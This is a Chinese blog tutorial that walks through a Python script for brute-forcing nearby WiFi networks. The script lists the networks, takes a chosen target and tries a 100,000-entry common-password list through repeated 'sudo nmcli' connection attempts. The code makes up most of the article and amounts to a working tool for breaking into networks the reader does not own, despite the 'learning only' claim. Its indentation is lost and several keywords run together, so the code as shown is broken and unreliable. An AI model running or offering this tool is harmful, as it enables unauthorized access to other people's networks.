很多用户都很好奇那些网络大神是怎么把无线路由器的wifi密码破解的，其实破解WiFi密码的难度仅限于路由器的主人把密码设置得多复杂而已，如果是用比较常用的弱密码口令，那么就很容易将WiFi破解出来。

如何破解WiFi密码？文章源自玩技e族-https://www.playezu.com/833786.html
本文，将会通过Python教大家如何实现，这里纯粹是为了学习用途。文章源自玩技e族-https://www.playezu.com/833786.html
1. WiFi列表
首先，我们需要获取附近的WiFi列表。文章源自玩技e族-https://www.playezu.com/833786.html
下面，就来写一个函数来获取附近的WiFi列表，函数命名为display_targets：文章源自玩技e族-https://www.playezu.com/833786.html
def display_targets(networks, security_type):
print("Select a target: \n")
rows, columns = os.popen('stty size', 'r').read().split()
for i in range(len(networks)):
width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
spacer = " "
if (int(columns) >= 100):
calc = int((int(columns)-int(width))*0.75)
else:
calc = int(columns)-int(width)
for index in range(calc):
spacer += "."
if index == (calc-1):
spacer += " "
print(str(i+1)+". "+networks[i]+spacer+security_type[i])这里，我们会用到ssid工具包，用来获取附近的WiFi列表，存入到参数networks。文章源自玩技e族-https://www.playezu.com/833786.html

2. 选择WiFi
获取WiFi列表之后，下一步要做的就是选择我们想要连接的WiFi信号。文章源自玩技e族-https://www.playezu.com/833786.html
def prompt_for_target_choice(max):
whileTrue:
try:
selected = int(input("\nEnter number of target: "))
if(selected >= 1and selected <= max):
return selected - 1
except Exception as e:
ignore = e
print("Invalid choice: Please pick a number between 1 and " + str(max))这里很简单，就是一些通用的Python功能。文章源自玩技e族-https://www.playezu.com/833786.html
3. 暴力破解
目前已经获取并且选择了想要连接的WiFi，那么如何获取到它的密码呢？文章源自玩技e族-https://www.playezu.com/833786.html
这里要用到一种比较常见的方式：暴力破解。
这里，要用到Github上一个项目，它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。
def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")
if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)
if (len(decoded_line) >= 8):
time.sleep(3)
creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()
# print(creds)
if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)核心功能3个函数就完成了，只用了60行Python代码！
下面就把它们串联在一起：
def main():
require_root()
args = argument_parser()
# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)
# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]
ifnot networks:
print("No networks found!")
sys.exit(-1)
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
brute_force(target, passwords, args)不同的颜色代表不同不同的结果：
- 红色：测试失败
- 绿色：破解成功
- 紫色：测试中
现在，是不是发现这个看上去很复杂的事情变得简单许多？
